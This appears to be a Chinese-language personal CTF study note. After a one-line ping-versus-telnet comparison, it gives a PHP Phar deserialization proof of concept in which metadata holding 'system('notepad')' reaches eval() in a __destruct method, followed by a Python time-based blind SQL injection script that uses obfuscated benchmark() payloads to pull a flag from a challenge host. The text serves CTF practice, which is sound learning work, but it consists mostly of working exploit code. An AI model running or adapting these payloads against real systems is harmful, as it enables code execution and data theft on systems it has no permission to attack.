2022/05/28

telnet和ping的区别

ping用来检测网络连接速度
telnet用来探测指定IP的端口的端口是否开放

Phar反序列化

在Windows上测试

<?php
class Test{
    public $cmd="system('notepad');";
}
$p = new Test();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

<?php
class Test{
    public $cmd;
    function __destruct()
    {
        eval($this->cmd);
    }
}
include('phar://test.phar');
?>

Dest0g3 520迎新赛

Really Easy SQL

import requests
from time import sleep
from urllib import parse

url = "http://4336862f-ec25-46da-83df-64b1d941d1ee.node4.buuoj.cn:81/"

for mid in range(1,100):
    for i in range(1,144):
        sleep(0.1)
        data = {
            'username':parse.unquote("'%%0dor%%0dif((select%%0dascii(mid((cmd),%d,1))%%0dfrom%%0dflaggg%%0dlimit%%0d0,1)=%d,benchmark(5000000,sha(1)),1)%%0dor%%0d'" % (mid, i)),
            'password':"123"}
        result = requests.post(url,data=data)
        if result.elapsed.total_seconds() > 4:
            print(chr(i))
            break
        if i > 140:
            exit("修改limit吧")